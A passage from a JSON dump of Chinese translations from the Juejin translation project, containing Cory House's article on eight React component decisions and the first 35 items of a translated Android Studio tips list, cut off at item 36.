    "content": "> * 原文地址：[8 Key React Component Decisions: Standardize your React development with these key decisions](https://medium.freecodecamp.org/8-key-react-component-decisions-cc965db11594)\n> * 原文作者：[Cory House](https://medium.freecodecamp.org/@housecor?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/8-key-react-component-decisions.md](https://github.com/xitu/gold-miner/blob/master/TODO/8-key-react-component-decisions.md)\n> * 译者：[undead25](https://github.com/undead25)\n> * 校对者：[Tina92](https://github.com/Tina92)、[vuuihc](https://github.com/vuuihc)\n\n# React 组件的 8 个关键决策\n\n## 通过这些关键决策来标准化你的 React 开发\n\n![选择困难症](https://cdn-images-1.medium.com/max/1000/1*XgHYXVXoyziBKd7Or5IliQ.jpeg)\n\n\nReact 自 2013 年被开源以来，一直在迭代更新。当你在网上搜索相关信息时，可能会被一些使用了过时的方法的文章坑到。所以，现在在写 React 组件时，你的团队需要作出以下八个关键决策。\n\n### 决策 1：开发环境\n\n在编写第一个组件之前，你的团队需要就开发环境达成一致。太多选择了……\n\n![](https://i.loli.net/2017/10/17/59e5d90a25a0a.jpg)\n\n当然，你可以[从头开始构建 JS 开发环境](https://www.pluralsight.com/courses/javascript-development-environment)，有 25% 的 React 开发者是这么做的。我目前的团队使用的是 create-react-app 的 fork，并拓展了一些功能，例如[支持 CRUD 的 mock API](https://medium.freecodecamp.org/rapid-development-via-mock-apis-e559087be066)、[可复用的组件库](https://www.pluralsight.com/courses/react-creating-reusable-components)和增强的代码检测功能（我们会检测 create-react-app 忽略了的测试文件）。我是喜欢 create-react-app 的，但[这个工具可以帮助你比较许多不错的替代方案](http://andrewhfarmer.com/starter-project/)。想在服务端进行渲染？可以了解下 [Gatsby](http://gatsbyjs.org) 或者 [Next.js](https://github.com/zeit/next.js/)。你甚至可以考虑使用在线编辑器，例如 [CodeSandbox](https://codesandbox.io)。\n\n### 决策 2：类型检测\n\n你可以忽略类型，也可以使用 [prop-types](https://reactjs.org/docs/typechecking-with-proptypes.html)、[Flow](https://flow.org) 或者 [TypeScript](https://www.typescriptlang.org)。需要注意的是，在 React 15.5 中，prop-types 被提取到了[单独的库](https://www.npmjs.com/package/prop-types)，因此按照较老的文章进行导入会报警告（React 16 会报错）。\n\n社区在这个话题上依然存在着分歧：\n\n![](https://i.loli.net/2017/10/17/59e5da85a81b6.jpg)\n\n我更倾向于 prop-types，因为我发现它在 React 组件中提供了足够的类型安全性，几乎没有任何阻碍。使用 Babel、[Jest](https://facebook.github.io/jest/)、[ESLint](http://www.eslint.org) 和 prop-types 的组合，我很少看到运行时的类型问题。\n\n### 决策 3：createClass 和 ES 类\n\nReact.createClass 是原始 API，但在 15.5 中已被弃用。有点感觉[我们将枪头指向了 ES 类](https://medium.com/dailyjs/we-jumped-the-gun-moving-react-components-to-es2015-class-syntax-2b2bb6f35cb3)。不管怎样，createClass 已经从 React 的核心中移除，并被[归类到 React 官方文档中一个名为“React without ES6”的页面](https://reactjs.org/docs/react-without-es6.html)。所以很清楚的是：ES 类是趋势。你可以使用 [react-codemod](https://github.com/reactjs/react-codemod) 轻松地从 createClass 转换为 ES 类。\n\n### 决策 4：类和函数\n\n你可以通过类或函数来声明 React 组件。当你需要 refs 或者生命周期方法时，类很有用。这里有[尽可能考虑使用函数的 9 个理由](https://hackernoon.com/react-stateless-functional-components-nine-wins-you-might-have-overlooked-997b0d933dbc)。但值得注意的是，[函数组件有一些缺点](https://medium.freecodecamp.org/7-reasons-to-outlaw-reacts-functional-components-ff5b5ae09b7c)。\n\n### 决策 5：状态\n\n使用普通的 React 组件状态足以满足大多数场景。[状态提升](https://reactjs.org/docs/lifting-state-up.html)可以很好地解决状态共享的问题。或者，你也可以使用 Redux 或 MobX：\n\n![](https://i.loli.net/2017/10/17/59e5daca05632.jpg)\n\n[我是 Redux 的粉丝](https://www.pluralsight.com/courses/react-redux-react-router-es6)，但我经常使用普通的 React 状态，因为它更简单。就目前来看，我们已经上线了十几个 React 应用程序，其中的两个是值得使用 Redux 的。我更喜欢多个小型的、自治的应用程序而不是单个的大型的应用程序。\n\n如果你对不可变状态感兴趣，这里有一篇相关的文章，提到了至少有 [4 种方式来保持状态不可变](https://medium.com/@housecor/handling-state-in-react-four-immutable-approaches-to-consider-d1f5c00249d5)。\n\n### Decision 6: 绑定\n\n在 React 组件中，至少有[半打方式可以处理绑定](https://medium.freecodecamp.org/react-binding-patterns-5-approaches-for-handling-this-92c651b5af56)。这主要是因为现代 JS 提供了很多方法来处理绑定。你可以在构造函数中绑定，在 render 中绑定，在 render 中使用箭头函数，使用类属性或者装饰器。[这篇文章的评论](https://medium.freecodecamp.org/react-binding-patterns-5-approaches-for-handling-this-92c651b5af56)里有更多的选择！每种方式都有其优点，但假设你觉得实验性功能还不错，[我建议默认使用类属性（也叫属性初始值）](https://medium.freecodecamp.org/react-binding-patterns-5-approaches-for-handling-this-92c651b5af56)。\n\n这个投票是从 2016 年 8 月开始的。从那时起，类属性越来越受欢迎，而 createClass 的欢迎程度则逐步降低。\n\n![](https://i.loli.net/2017/10/17/59e5daf6be182.jpg)\n\n**附注**：许多人对于为什么在 render 中使用箭头函数和绑定可能存在问题而感到困惑。真正的原因是因为[它使 shouldComponentUpdate 和 PureComponent 变得古怪](https://medium.freecodecamp.org/why-arrow-functions-and-bind-in-reacts-render-are-problematic-f1c08b060e36)。\n\n### 决策 7：样式\n\n这里的选择变得非常多，有 50 多种方式来写组件的样式，包括 React 的内联样式、传统的 CSS、Sass/Less、[CSS Modules](https://github.com/css-modules/css-modules) 和 [56 个 CSS-in-JS 选项](https://github.com/MicheleBertoli/css-in-js)。不开玩笑，我在这个[样式模块化课程](https://www.pluralsight.com/courses/react-creating-reusable-components)中详细探索了 React 的样式，下面是总结：\n\n![](https://cdn-images-1.medium.com/max/1000/1*5Q3FXqxI6akM-GWV2rqlcw.png)\n\n红色代表不支持，绿色代表支持，灰色代表警告。\n\n看看为什么在 React 的样式选择中有这么多的分歧？没有明确的赢家。\n\n![](https://cdn-images-1.medium.com/max/800/1*_K-z-ZfTXNFwyedAXrS5sA.png)\n\n看起来 CSS-in-JS 正在蒸蒸日上，而 CSS modules 正在每况愈下。\n\n我目前的团队使用 Sass 和 BEM，并乐在其中，但我也喜欢[样式组件](https://www.styled-components.com)。\n\n### 决策 8：逻辑复用\n\nReact 最初采用 [mixins](https://reactjs.org/docs/react-without-es6.html#mixins) 作为组件之间共享代码的机制。但是 mixins 有问题，[现在被认为是有害的](https://reactjs.org/blog/2016/07/13/mixins-considered-harmful.html)。你不能在 ES 类组件中使用 mixins，所以现在我们[使用高阶组件](https://reactjs.org/docs/higher-order-components.html)和[渲染属性](https//cdb.reacttraining.com/use-a-render-prop-50de598f11ce)（也叫子函数）在组件之间共享代码。\n\n![](https://i.loli.net/2017/10/17/59e5db5a8f656.jpg)\n\n高阶组件目前更受欢迎，但我更喜欢渲染属性，因为它们通常更易于阅读和创建。\n\n[YouTube 视频](https://youtu.be/BcVAq3YFiuc)\n\n### 其他决策\n\n还有一些其他的决策：\n\n* 你使用 [.js 还是 .jsx 拓展名](https://github.com/facebookincubator/create-react-app/issues/87#issuecomment-234627904)?\n* 你会将[每个组件放在其自己的文件夹中](https://medium.com/styled-components/component-folder-pattern-ee42df37ec68)吗？\n* 你会要求每个组件即一个文件吗？你会[在每个目录写一个 index.js 文件来让别人感到抓狂吗](https://hackernoon.com/the-100-correct-way-to-structure-a-react-app-or-why-theres-no-such-thing-3ede534ef1ed)？\n* 如果使用 propTypes，你会在底部声明它们，还是在其自身的类里使用[静态属性](https://michalzalecki.com/react-components-and-class-properties/#static-fields)？你会[尽可能深地声明 propTypes](https://iamakulov.com/notes/deep-proptypes/?utm_content=buffer57abf&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer) 吗？\n* 你会传统地在构造函数中初始化状态，还是使用[属性初始化语法](http://stackoverflow.com/questions/35662932/react-constructor-es6-vs-es7)？\n\n由于 React 大多是 JavaScript，所以你需要进行许多 JS 开发风格的决策，例如[分号](https://eslint.org/docs/rules/semi)、[尾随逗号](https://eslint.org/docs/rules/comma-dangle)、[格式化](https://github.com/prettier/prettier)以及[事件处理的命名](https://jaketrent.com/post/naming-event-handlers-react/)。\n\n### 选择一个标准，然后自动化执行\n\n所有的这一切，今天你可能会看到很多组合。\n\n所以，下面这几步是关键：\n\n> 1. 和你的团队讨论这些决策并把你们的标准写成文档。\n\n> 2. 不要浪费时间在代码审查中手动检查不一致。要求你的团队都使用像 [ESLint](https://eslint.org)、[eslint-plugin-react](https://github.com/yannickcr/eslint-plugin-react) 和 [prettier](https://github.com/prettier/prettier) 这些工具。\n\n> 3. 需要重构现有的 React 组件？使用 [react-codemod](https://github.com/reactjs/react-codemod) 来自动化该过程。\n\n如果我忽略了其它的关键决策，请在评论中提出。\n\n### 想了解更多关于 React 的信息？⚛️\n\n我在 Pluralsight（[免费试用](http://bit.ly/pstrialimmutablepost)）上写了[很多 React 和 JavaScript 课程](http://bit.ly/psauthorpageimmutablepost)。\n\n[![](https://cdn-images-1.medium.com/max/800/1*BkPc3o2d2bz0YEO7z5C2JQ.png)](https://www.pluralsight.com/authors/cory-house)\n\n* * *\n\n[Cory House](https://twitter.com/housecor) 是 [Pluralsight 上许多 JavaScript、React、代码整洁之道和 .NET 课程](http://pluralsight.com/author/cory-house)的作者。他是 [reactjsconsulting.com](http://www.reactjsconsulting.com) 的首席顾问、VinSolutions 的软件架构师、Microsoft 的最有价值专家，并且在国际上培训软件开发人员的软件实践，例如前端开发和代码整洁之道。Cory 在 Twitter 上 [@housecor](http://www.twitter.com/housecor) 发布了很多关于 JavaScript 和前端开发的推文。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/Android-Studio-Tips.md",
    "content": "> * 原文链接: [Android Studio Tips by Philippe Breault](https://github.com/pavlospt/Android-Studio-Tips-by-Philippe-Breault/wiki)\n* 原文作者 : [Philippe Breault](https://github.com/pavlospt)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Jaeger](https://github.com/laobie), [Brucezz](https://github.com/brucezz)\n* 校对者 :[Glow Chiang](https://github.com/Glowin), [Void Main](https://github.com/void-main)\n* 状态 : 完成\n\n# 每个 Android 开发者都应该读的 Android Studio Tips\n\n欢迎来到Phillipe Breault发布的Android Studio技巧wiki页面。\n\n我创建了这个仓库是因为我认为Phillipe Breault发布的每一个Android Studio技巧都应该被记录下来。\n\n随着新技巧的发布，我将会一直保持更新。\n\n敬请关注！！\n\n鸣谢：[Philippe Breault](https://plus.google.com/u/0/+PhilippeBreault)\n\n\n# 1. 分析传入数据流（Analyze data flow to here）\n\n- **描述：**这个操作将会根据当前选中的变量、参数或者字段，分析出其传递到此处的路径。\n当你进入某段陌生的代码，试图明白某个参数是怎么传递到此处的时候，这是一个非常有用的操作。\n- **调用：**Menu → Analyze → Analyze Data Flow to Here\n- **快捷键：**无，可以在设置中指定。\n- **相反的操作：**分析传出数据流（Analyze data flow from here），这个将会分析当前选中的变量往下传递的路径，直到结束。\n\n![](https://lh4.googleusercontent.com/-Fv4MxHWIdHw/VCFWY4Ykv0I/AAAAAAAANoQ/YVe2hmnkAPE/w667-h348-no/31-analyzedataflow.gif)\n\n# 2. 堆栈追踪分析（Analyze Stacktrace）\n\n- **描述：** 这个操作读取一份堆栈追踪信息，并且使它像logcat中那样可以点击。当你从bug报告中或者终端复制了一份堆栈追踪，使用该操作可以很方便地调试。\n- **调用：**Menu → Analyze → Analyze Stacktrace\n- **快捷键：**无，可以在设置中指定。\n- **更多：**通过使用“ProGuard Unscramble Plugin”插件，也可以分析混淆过的堆栈追踪。\n\n![](https://lh3.googleusercontent.com/-ud2l1QdHTow/VCAEACCK1bI/AAAAAAAANmY/5a3od9nIm2E/w676-h392/30-analyzestacktrace.gif)\n\n# 3.  关联调试程序（Attach Debugger）\n\n- **描述：**随时启动调试程序，即使你没有以调试模式启动你的应用。这是一个很方便的操作，因为你不必为了调试程序而以调试模式重新部署你的应用。当别人正在测试应用，突然遇到一个bug而将设备交给你时，你也可以很快地进入调试模式。\n- **调用：**点击工具栏图标或者Menu → Build → Attach to Android Process\n- **快捷键：**无，可以在设置中指定，或者点击工具栏对应的图标。\n\n![](https://lh3.googleusercontent.com/-yOySWA1dWPU/VBgiH8KnkGI/AAAAAAAANfU/0E6-y0u5sic/w378-h236-no/26-attachdebugger.gif)\n\n# 4. 书签（Bookmarks）\n\n- **描述：**这是一个很有用的功能，让你可以在某处做个标记（书签），方便后面再跳转到此处。\n- **调用：**Menu → Navigate → Bookmarks\n- **快捷键：**\n    - 添加/移除书签：F3(OS X) 、F11(Windows/Linux);\n    - 添加/移除书签(带标记)：Alt + F3(OS X)、Ctrl + F11(Windows/Linux);\n    - 显示全部书签：Cmd + F3(OS X) 、Shift + F11(Windows/Linux)，显示所有的书签列表，并且是可以搜索的。\n    - 上一个/下一个书签：无，可以在设置中设置快捷键。\n- **更多：**当你为某个书签指定了标记，你可以使用快捷键 Ctrl + 标记 来快速跳转到标记处，比如输入Ctrl + 1，跳到标记为1的书签处。\n\n![](https://lh4.googleusercontent.com/-Srf301d5soU/U_M7Y6YtTpI/AAAAAAAAM2w/o5cIvPjGwNo/w848-h371-no/07-bookmarks.gif)\n\n# 5. 折叠/展开代码块（Collapse Expand Code Block）\n\n- **描述：**该操作提供一种方法，让你隐藏你不关心的部分代码，以一种较为简洁的格式显示关键代码。一个有意思的用法是隐藏匿名内部类的代码，让其看起来像一个Lambda表达式。\n- **快捷键：**Cmd + \"+\"/\"-\"(OS X)、Ctrl + Shift + \"+\"/\"-\"(Windows/Linux);\n- **更多：**可以在Settig → Editor → General → Code Folding 中设置折叠规则。\n\n![](https://lh4.googleusercontent.com/-sx5EajIBZsY/U_HpxtCFalI/AAAAAAAAM1Q/T-8P33ntdlE/w268-h147-no/06-codefolding.gif)\n\n# 6. 列选择/块选择（Column Selection）\n\n- **描述：**正常选择时，当你向下选择时，会直接将当前行到行尾都选中，而块选择模式下，则是根据鼠标选中的矩形区域来选择。\n- **调用：**按住Alt，然后拖动鼠标选择。\n- 开启/关闭块选择：Menu → Edit → Column Selection Mode \n- **快捷键：**切换块选择模式：Cmd + Shift + 8(OS X)、Shift + Alt + Insert﻿(Windows/Linux);\n\n![](https://lh5.googleusercontent.com/-sw7u-9Usecg/VCP-tea3SEI/AAAAAAAANr4/Cyla2sVqsUI/w497-h137-no/33-columnselection.gif)\n\n# 7. 与分支比对（Compare With Branch (Git)）\n\n- **描述：**假如你的项目是使用git来管理的，你可以将当前文件或者文件夹与其他的分支进行比对。比较有用的是可以让你了解到你与主分支有多少差别。\n- **调用：**Menu → VCS → Git → Compare With Branch \n\n![](https://lh6.googleusercontent.com/-xW1J3BBZHZc/VC6FVCMexWI/AAAAAAAAN8M/GEJqszoqzXk/w570-h328-no/38-comparewithbranch.gif)\n\n# 8. 与剪切板比对（Compare With Clipboard）\n\n- **描述：**将当前选中的部分与剪切板上的内容进行比对。\n- **调用：**右键选中的部分，在右键菜单中选择“Compare With Clipboard”。\n\n![](https://lh6.googleusercontent.com/-6rDn8kL7Pgw/VClEM13oYKI/AAAAAAAAN0o/JWiduW1pWsU/w519-h265-no/34-comparewithclipboard.gif)\n\n# 9. 语句补全（Complete Statement）\n\n- **描述：**这个方法将会生成缺失的代码来补全语句，常用的使用场景如下：\n    - 在行末添加一个分号，即使光标不在行末；\n    - 为if、while、for 语句生成圆括号和大括号；\n    - 方法声明后，添加大括号；\n- **调用：**Menu → Edit → Compelete Current Statement\n- **快捷键：**Cmd + Shift + Enter(OS X)、Ctrl + Shift + Enter(Windows/Linux)；\n- **更多：**如果一个语句已经补全，当你执行该操作时，则会直接跳到下一行，即使光标不在当前行的行末。\n\n![](https://lh6.googleusercontent.com/-oZeWSimrvoU/VAWr5QoA-oI/AAAAAAAANQE/0LxL0LkN8Jw/w281-h124-no/16-completestatement.gif)\n\n# 10. 条件断点（Conditional Breakpoints）\n\n- **描述：**简单说，就是当设定的条件满足时，才会触发断点。你可以基于当前范围输入一个java布尔表达式，并且条件输入框内是支持代码补全的。\n- **调用：**右键需要填写表达式的断点，然后输入布尔表达式。\n\n![](https://lh6.googleusercontent.com/-p9k6JiNLQmY/VBAweflrkYI/AAAAAAAANX8/gCaufjGbd1c/w514-h264-no/22-conditionalbreakpoint.gif)\n\n# 11. 上下文信息（Context Info）\n\n- **描述：**当前作用域定义超过滚动区域，执行该操作将显示所在的上下文信息，通常它显示的是类名或者内部类类名或者当前所在的方法名。该操作在xml文件中同样适用。\n- **调用：**Menu → View → Context Info\n- **快捷键：**Alt + Q (Windows/Linux)\n- **更多：**个人认为，这个功能更好的用法是快速查看当前类继承的父类或者实现的接口。\n\n![](https://lh4.googleusercontent.com/-FNg2h15F4c0/VD-rJupXgkI/AAAAAAAAOL4/lfaQmbjwpaw/w574-h174-no/47-contextinfo.gif)\n\n# 12. 删除行（Delete Line）\n\n- **描述：**如果没选中，则删除光标所在行，如果选中，则会删除选中所在的所有行。\n- **快捷键：**Cmd + Delete(OS X)、Ctrl + Y(Windows/Linux)\n\n![](https://lh3.googleusercontent.com/-bP5WOVMfp7A/U_cpQi0bvhI/AAAAAAAAM9c/dcvvJu1US40/w265-h103-no/10-deleteline.gif)\n\n# 13. 禁用断点（Disable Breakpoints）\n\n- 这个操作将使得断点。当你有一个设置过复杂条件的断点或者是日志断点，当前不需要，但是下次又不用重新创建，该操作是很方便的。\n- **调用：**按住Alt，然后单击断点即可。\n\n![](https://lh3.googleusercontent.com/-hNk0kuL1WBM/VBbQXamG8-I/AAAAAAAANeM/ynfSJ5hqCvA/w365-h235-no/25-diablebreakpoint.gif)\n\n# 14. 行复制（Duplicate Line）\n\n- **描述：**复制当前行，并粘贴到下一行，这个操作不会影响剪贴板的内容。这个命令配合移动行快捷键非常有用。\n- **快捷键：**Cmd + D(OS X)、Ctrl + D(Windows/Linux)\n\n![](https://lh6.googleusercontent.com/-1dno1jn2Pcg/U_sfhOxXTkI/AAAAAAAANC8/8sl3TVz1dAo/w265-h103-no/11-duplicate_lines.gif)\n\n# 15. 编写正则表达式（Edit Regex）\n\n- **描述：**使用Java编写正则表达式是一件很困难的事，主要原因是：\n    - 你必须得避开反斜杠；\n    - 说实话，正则很难；\n    - 看第二条。\n\nIDE能帮我们干点啥呢？当然是一个舒服的界面来编写和测试正则啦~\n- **快捷键：**Alt + Enter → check regexp\n\n![](https://lh4.googleusercontent.com/-zinVQioQi0c/VGX3txYe0iI/AAAAAAAAO5c/D5nhpSSyImk/w419-h170-no/68-checkregexp.gif)\n\n# 16. 使用Enter和Tab进行代码补全的差别（Enter vs Tab for Code Completion）\n\n- **描述：**代码补全时，可以使用Enter或Tab来进行补全操作，但是两者是有差别的。\n- 使用Enter时：从光标处插入补全的代码，对原来的代码不做任何操作。\n- 使用Tab时：从光标处插入补全的代码，并删除后面的代码，直到遇到点号、圆括号、分号或空格为止。\n\n![](https://lh3.googleusercontent.com/-zkDYRijGp4A/VD0KtdkrqFI/AAAAAAAAOJE/wEr134jmFxE/w252-h123-no/45-codecompletionentertab.gif)\n\n# 17. 计算表达式（Evaluate Expression）\n\n- **描述：**这个操作可以用来查看变量的内容并且计算几乎任何有效的java表达式。需要注意的是，如果你修改了变量的状态，这个状态在你恢复代码执行后依然会保留。\n- **快捷键：**处在断点状态时，光标放在变量处，按Alt + F8，即可显示计算表达式对话框。\n\n![](https://lh5.googleusercontent.com/-yVa3T6tUVJE/VBls7HooneI/AAAAAAAANg0/MtJpIKCVEws/w739-h215-no/27-evaluateexpression.gif)\n\n# 18. 提取方法（Extract Method）\n\n- **描述：**提取一段代码块，生成一个新的方法。当你发现某个方法里面过于复杂，需要将某一段代码提取成单独的方法时，该技巧是很有用的。\n- **调用：**Menu → Refactor → Extract → Method\n- **快捷键：**Cmd + Alt + M(OS X)、Ctrl + Alt + M(Windows/Linux)；\n- **更多：**在提取代码的对话框，你可以更改方法的修饰符和参数的变量名。\n\n![](https://lh3.googleusercontent.com/-9QE0n8if48M/VEpNnAADJvI/AAAAAAAAOaA/hdn-oMyW-VA/w584-h458-no/53-extractmethod.gif)\n\n# 19. 提取参数（Extract Parameter）\n\n- **描述：**这是一个提取参数的快捷操作。当你觉得可以通过提取参数来优化某个方法的时候，这个技巧将很有用。该操作会将当前值作为一个方法的参数，将旧的值放到方法调用的地方，作为传进来的参数。\n- **调用：**Menu → Refactor → Extract → Parameter\n- **快捷键：**Cmd + Alt + P(OS X)、Ctrl + Alt + P(Windows/Linux)；\n- **更多：**通过勾选“delegate”，可以保持旧的方法，重载生成一个新方法。\n\n![](https://lh6.googleusercontent.com/-056PKjDxw7U/VEjoRXblk9I/AAAAAAAAOXo/DWOEUMikWMU/w474-h263-no/52-extractparam.gif)\n\n# 20. 提取变量（Extract Variable）\n\n- **描述：**这是一个提取变量的快捷操作。当你在没有写变量声明的直接写下值的时候，这是一个很方便生成变量声明的操作，同时还会给出一个建议的变量命名。\n- **调用：**Menu → Refactor → Extract → Variable\n- **快捷键：**Cmd + Alt + V(OS X)、Ctrl + Alt + V(Windows/Linux)；\n- **更多：**当你需要改变变量声明的类型，例如使用 List 替代 ArrayList，可以按下Shift + Tab，就会显示所有可用的变量类型。\n\n![](https://lh3.googleusercontent.com/-76GH8fwlP8w/VEeXW1x5qcI/AAAAAAAAOV0/Y_DTUoO5V-c/w368-h269-no/51-extractvariable.gif)\n\n# 21. 查找操作（Find Action）\n\n- **描述：**输入某个操作的名称，快速查找，对于没有快捷键的部分操作这是一个很有用的技巧。\n- **快捷键：**Cmd +Shift + A(OS X)、Ctrl + Shift + A(Windows/Linux)；\n- **更多：**当某个操作是有快捷键的，会显示在旁边。\n\n![](https://lh3.googleusercontent.com/-1R5g6c953Pc/U_SJUUK_zZI/AAAAAAAAM4A/78kPgI_U5X4/w500-h233-no/08-findaction.gif)\n\n# 22. 查找补全（Find Complection）\n\n- **描述：**当你在一个文件中进行查找时，使用自动补全快捷键可以给出在当前文件中出现的建议单词；\n- **快捷键：**Cmd + F(OS X),Ctrl + F(Windows/Linux),输入一些字符，然后使用自动补全；\n\n![](https://lh4.googleusercontent.com/-8HBauw90IYU/VFoSq77EbfI/AAAAAAAAOss/_8BMNjgAst4/w418-h268-no/61-findcompletion.gif)\n\n# 23. 隐藏所有面板（Hide All Panels）\n\n- **描述：**切换编辑器铺满整个程序界面，隐藏其他的面板。再次执行该操作，将会回到隐藏前的状态。\n- **调用：**Menu → Window → Active Tool Window → Hide All Windows；\n- **快捷键：**Cmd +Shift + F12(OS X)、Ctrl + Shift + F12(Windows/Linux)；\n\n![](https://lh5.googleusercontent.com/-I5KEtqjL6cc/VDZuyxdTi7I/AAAAAAAAOB8/jrMR5xhtmEI/w566-h387-no/42-hideallwindows.gif)\n\n# 24. 高亮一切（Hightlight All the Things）\n\n- **描述：**该操作将会高亮某个字符在当前文件中所有出现的地方。这不仅仅是简单的匹配，实际上它会分析当前的作用域，只高亮相关的部分。\n- **调用：**Menu → Edit → Find → Highlight Usages in File；\n- **定位到上一处/下一处：**Menu → Edit → Find → Find Next/Previous；\n- **快捷键：**相关快捷键请在菜单中查看；\n- **更多：**\n    - 如果高亮一个方法的`return`或`throw`语句，将会高亮这个方法的所有出口/结束点；\n    - 如果高亮某个类定义处的`extend`或`implements`语句，将会高亮继承的或实现的方法；\n    - 高亮一个`import`语句也会高亮使用到的地方；\n    - 按下Esc可以退出高亮模式；\n\n![](https://lh4.googleusercontent.com/-PHQFYqcYi58/U-tQtazuCbI/AAAAAAAAMrE/SGNBmtGwMAk/w198-h184-no/01-highlight.gif)\n\n# 25. 内置（Inline）\n\n- **描述：**当你开始对提取操作有点兴奋的时候，突然觉得东西太多了，怎么办呢？这是一个和提取相反的操作。该操作对方法、字段、参数和变量均有效。\n- **调用：**Menu → Refactor → Inline\n- **快捷键：**Cmd + Alt + N(OS X)、Ctrl + Alt + N(Windows/Linux)；\n\n![](https://lh6.googleusercontent.com/-OgvCsxlSlhk/VE4ztIVmEgI/AAAAAAAAOc4/TJdTcGGzeZc/w495-h232-no/54-inline.gif)\n\n# 26. 审查变量（Inspect Variable）\n\n- **描述：**该操作可以在不打开计算表达式对话框就能审查表达式的值。\n- **快捷键：**调试状态下，按住Alt键，然后单击表达式即可。\n\n![](https://lh3.googleusercontent.com/-e8FaMIQ-o4g/VBq_YKo27NI/AAAAAAAANiQ/RLl4c4nQCMQ/w783-h250-no/28-mouse_evaluate_expression.gif)\n\n# 27. 合并行和文本（Join Lines and Literals）\n\n- **描述：**这个操作比起在行末使劲按删除键爽多了！该操作遵守格式化规则，同时：\n    - 合并两行注释，同时移除多余的`//`；\n    - 合并多行字符串，移除`+`和双引号；\n    - 合并字段的声明和初始化赋值；\n\n- **快捷键：**Ctrl + Shift + J；\n\n![](https://lh3.googleusercontent.com/-B18BYlHuIe0/VAhGAtACHPI/AAAAAAAANSc/GzYIuGENiXU/w365-h303-no/18-joinlines.gif)\n\n# 28. 回到上一个工具窗口（Jump to Last Tool Window）\n\n- **描述：**有时候你会从某个工具窗口跳到编辑器里面，然后又需要重新回到刚才操作的那个工具窗，比如你查找使用情况的时，使用该操作可以在不使用鼠标的情况下跳转到之前的工具窗口。\n- **快捷键：**F12；\n\n![](https://lh5.googleusercontent.com/-1i-62oPE1_c/VDUgjA0EglI/AAAAAAAAOAc/zHw0D-zDW8c/w495-h176-no/41-lasttoolwindow.gif)\n\n# 29. 上一个编辑位置（Last Edit Location）\n\n- **描述：**该操作将使得你导航到上一处你改动过的地方，这与点击工具栏上的返回箭头回到上一个定位位置是不一样的，该操作将会返回到上一个编辑的位置。\n- **快捷键：** Cmd + Shift + Delete(OS X)、Ctrl + Shift + Backspace﻿(Windows/Linux);\n\n![](https://lh3.googleusercontent.com/-I7EB361tSvQ/VAcAhKjmftI/AAAAAAAANQw/WJ12zWckTx0/w339-h100-no/17-navigate-previous-changes.gif)\n\n# 30. 动态模板（Live Templates）\n\n- **描述：**动态模板是一种快速插入代码片段的方法，使用动态模板比较有意思的是你可以使用合适的默认值将模板参数化，当你插入代码片段时，这可以指导你完成参数。\n- **更多：**如果你知道模板的缩写，就可以不必使用快捷键，只需要键入缩写并使用Tab键补全即可。\n- **快捷键：**Cmd + J(OS X)、Ctrl + J(Windows/Linux);\n\n![](https://lh5.googleusercontent.com/-uDazeA2SuDU/VABeDd244gI/AAAAAAAANL0/LvID7zv5dbA/w456-h258-no/15-live_templates.gif)\n\n# 31. 日志断点（Logging Breakpoints）\n\n- **描述：**这是一种打印日志而不是暂停的断点，当你想打印一些日志信息但是不想添加`log`代码后重新部署项目，这是一个非常有用的操作。\n- **调用：**在断点上右键，取消`Suspend`的勾选，然后勾选上`Log evaluated Expression`，并在输入框中输入你要打印的日志信息。\n\n![](https://lh6.googleusercontent.com/-HCtmbS0lEX4/VBGLfCszvyI/AAAAAAAANZg/pnjHOIPJP4U/w601-h470-no/23-loggingbreakpoints.gif)\n\n# 32. 标记对象（Mark Object）\n\n- **描述：**当你在调试的时候，这个操作可以让你给某个特殊的对象添加一个标签，方便你后面很快地辨认。在调试时，当你从一堆相似的对象中查看某个对象是否和之前是一样的，这就是一个非常有用的操作。\n- **调用：**右键你需要标记的对象，选中`Mark Object`，输入标签；\n- **快捷键：**选中对象时，按F3(OS X)、F11(Windows/Linux)；\n\n![](https://lh5.googleusercontent.com/-YucV0sOVgXE/VBwUt3L0gWI/AAAAAAAANjk/24G70gPtFv0/w607-h301-no/29-markobject.gif)﻿\n\n# 33. 在方法和内部类之间跳转（Move Between Methods and Inner Classes）\n\n- **描述：**该操作让光标在当前文件的方法或内部类的名字间跳转。\n- **调用：**Navigate → Next Method/Previous Method;\n- **快捷键：**Ctrl + Up/Down﻿(OS X)、Alt + Up/Down﻿(Windows/Linux);\n\n![](https://lh4.googleusercontent.com/-FXLgOWtteIo/U-ygY2U1y1I/AAAAAAAAMsQ/hxJUIs_kgvw/w425-h414-no/02-move_between_methods.gif)\n\n# 34. 上下移动行（Move Lines Up Down）\n\n- **描述：**不需要复制粘贴就可以上下移动行了。\n- **快捷键：**Alt + Shift + Up/Down﻿；\n\n![](https://lh5.googleusercontent.com/-vkDNFuL049E/U_XXi3NMx9I/AAAAAAAAM58/dwQ6qz2vCWY/w279-h122-no/09-movelines.gif)\n\n\n# 35. 移动方法（Move Methods）\n\n- **描述：**这个操作和移动行操作很类似，不过该操作是应用于整个方法的，在不需要复制、粘贴的情况下，就可以将整个方法块移动到另一个方法的前面或后面。该操作的实际叫做“移动语句”，这意味着你可以移动任何类型的语句，你可以方便地调整字段或内部类的顺序。\n- **快捷键：**Cmd + Alt + Up/Down(OS X)、Ctrl + Shift + Up/Down(Windows/Linux);\n\n![](https://lh6.googleusercontent.com/-mZG5Fj_QM_Q/VARxn8TXmkI/AAAAAAAANOk/ASUpXpD-NLg/w264-h266-no/15-movemethods.gif)\n\n# 36. 定位到嵌套文件（Navigate 